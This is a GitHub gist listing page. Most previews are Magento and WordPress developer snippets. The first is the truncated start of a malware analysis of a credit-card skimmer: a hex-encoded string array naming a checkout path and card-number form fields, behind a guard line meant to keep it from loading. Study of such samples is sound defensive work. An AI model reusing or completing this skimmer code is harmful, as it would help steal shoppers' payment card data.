Skip to content

Instantly share code, notes, and snippets.

@vadim4err
vadim4err / original.js
Created December 4, 2020 09:59 — forked from FelixWolf/original.js
Malware analysis - Unobfuscated - "Credit card skimmer"
window.stop();break;return;[1!1]; //This part is not part of the code. This is only here to prevent it from being maliciously loaded.
var _0x9e62=["\x70\x61\x74\x68\x6E\x61\x6D\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x2F\x70\x75\x6E\x74\x6F\x64\x65\x63\x72\x75\x7A\x2F\x63\x68\x65\x63\x6B\x6F\x75\x74\x2F\x6F\x6E\x65\x70\x61\x67\x65\x2F","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x67\x6A","\x74\x72\x75\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x70\x61\x79\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x65\x6E\x67\x74\x68","\x30","\x63\x68\x61\x72\x41\x74","\x75\x73\x61\x65\x70\x61\x79\x5F\x63\x63\x5F\x6E\x75\x6D\x62\x65\x72","\x63\x6F\x6C\x6F\x72","\x73\x74\x79\x6C\x65","\x23\x30\x30\x30","\x73\x6F\x75\x72\x63\x65\x2D\x65\x72\x72\x6F\x72\x73","\x64\x69\x73\x70\x6C\x61\x79","\x6E\x6F\x6E\x65","\x74\x65\x78\x74\x43\x6F\x6E\x74\x65\x6E\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x
@vadim4err
vadim4err / magento2-resources.md
Created October 6, 2017 14:43 — forked from stefandoorn/magento2-resources.md
Magento 2 resources

###RequireJs Modules

  • RequireJs module needs to be defined inside: Your_Module/view/frontend/web/module.js path

  • Simple RequireJs module definition can look like this:

http://collabshot.com/show/A65S78

@vadim4err
vadim4err / WritingMagentoModules.md
Created October 6, 2017 14:15 — forked from leek/WritingMagentoModules.md
Writing Modules for Magento 1.x

Writing Magento Modules

All custom modules should have a Namespace and Module Name. These are used below as {Namespace} and {Module}.

Caution: The Magento autoloader is known to have problems with CamelCase namespaces and/or modules between Windows and *nix systems. If your module requires more than one word for either of these, it is best to just concatenate them to avoid any issues (Example: {Namespace}_{Examplemodule}).

Index

Magento Snippets

Find all dispatched event observers

grep -r Mage::dispatchEvent /path/to/your/Magento/* > events.txt

Find all translatable strings

@vadim4err
vadim4err / Observer.php
Created September 11, 2017 15:52 — forked from mklooss/Observer.php
Magento: add layout xml via event to add the layout file direct before local.xml
<?php
class Loewenstark_Layout_Model_Observer
{
// set loewenstark_layout.xml before local.xml
public function addLayoutXml($event)
{
$xml = $event->getUpdates()
->addChild('loewenstark_layout');
/* @var $xml SimpleXMLElement */
<?php
$args = array(
'post_type' => 'тип поста',
'posts_per_page' => -1,
'orderby' => 'id',
'order' => 'DESC'
);
$posts = get_posts( $args );
foreach ( $posts as $post ) {
setup_postdata( $post );